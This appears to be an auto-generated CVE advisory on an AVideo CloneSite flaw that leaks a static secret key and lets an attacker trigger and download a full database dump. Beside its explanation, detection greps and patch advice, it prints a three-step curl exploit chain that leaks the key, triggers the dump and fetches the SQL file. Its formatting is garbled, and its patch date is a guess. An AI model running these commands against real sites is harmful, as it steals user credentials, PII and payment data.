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How the CVE works (technical details, ~20 lines):
1. The vulnerability exists in `plugin/CloneSite/cloneClient.json.php` lines 51-60.
- Under PHP web SAPI (e.g., mod_php, php-fpm), the `$argv` global is not populated from HTTP query strings.
3. `empty($argv)` evaluates to <code>true</code>, causing the `preg_replace` to return an empty string.</li> <li>The outer `if` condition (empty key) is triggered for all unauthenticated requests.</li> <li>Instead of rejecting silently, the script echoes `"$objClone->myKey !== $argv[bash]"` before <code>die()</code>. 6. `$objClone->myKey` contains `md5($global['systemRootPath'] . $global['salt'])` – a static, per‑installation secret.</li> <li>The response body leaks this 32‑char hex key, e.g., <code>3f2a7c8b... !== {"error":true,"msg":"You can't do this"}</code>.</li> <li>The same `myKey` is used as the authentication credential when the victim calls its configured remote CloneSite server.</li> <li>An attacker can then call `cloneServer.json.php` on the remote server with <code>?url=<victim_URL>&key=<leaked_key></code>.</li> <li>The remote script verifies the key (passes because it matches the stored per‑client key) and runs <code>mysqldump</code>.</li> <li>The dump excludes only the `CachesInDB` table and is saved to <code>{videosDir}/clones/Clone_mysqlDump_.sql</code>.</li> <li>The `videos/` directory is publicly accessible in default AVideo deployments.</li> <li>The attacker downloads the `.sql` file, obtaining all user hashes, payment records, API secrets, and plugin configs.</li> <li>The previous hardening (commit 160e02635) only patched `clones.json.php` – not <code>cloneClient.json.php</code>.</li> <li>No authentication or IP restriction protects the dump endpoint, and `myKey` never rotates.</li> </ol> <h2 style="color: blue;">dailycve form (3 words max per line):</h2> Platform: AVideo CloneSite Version: Unpatched versions Vulnerability: Secret disclosure + dump Severity: Critical Date: May 5 2026 <h2 style="color: blue;">Prediction: Patch May 15 2026</h2> <h2 style="color: blue;">What Undercode Say (Analytics):</h2> [bash] Count unauthenticated leak attempts grep "cloneClient.json.php" access.log | cut -d' ' -f1 | sort | uniq -c Check if myKey is exposed in responses curl -s https://victim/plugin/CloneSite/cloneClient.json.php | grep -oE '[a-f0-9]{32}' Monitor for unauthorized mysqldump executions grep "mysqldump" /var/log/mysql/mysql.logExploit:
Step 1: Leak myKey KEY=$(curl -s https://victim/plugin/CloneSite/cloneClient.json.php | grep -oE '^[a-f0-9]{32}') Step 2: Trigger remote dump curl "https://remote/plugin/CloneSite/cloneServer.json.php?url=https://victim/&key=$KEY&useRsync=0" Step 3: Download database SQLFILE=$(curl -s "https://remote/plugin/CloneSite/cloneServer.json.php?url=https://victim/&key=$KEY" | jq -r .sqlFile) curl -O "https://remote/videos/clones/$SQLFILE"Protection from this CVE:
- Apply patch: remove `echo “$objClone->myKey !== $argv[bash]”;` from cloneClient.json.php
- Reject non‑admin HTTP requests before any secret interpolation
- Replace static `myKey` with a random, rotatable key stored in plugin config
- Block direct web access to `/videos/clones/` via `.htaccess` (deny from all)
Impact:
- Unauthenticated attacker steals static federation secret (
myKey) - Impersonates victim to remote CloneSite server → full remote database dump
- Exposes all user password hashes, PII, API keys, and payment data
- Cross‑site compromise: one leaked key hands over another site’s entire database
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Sources:
Reported By: github.com
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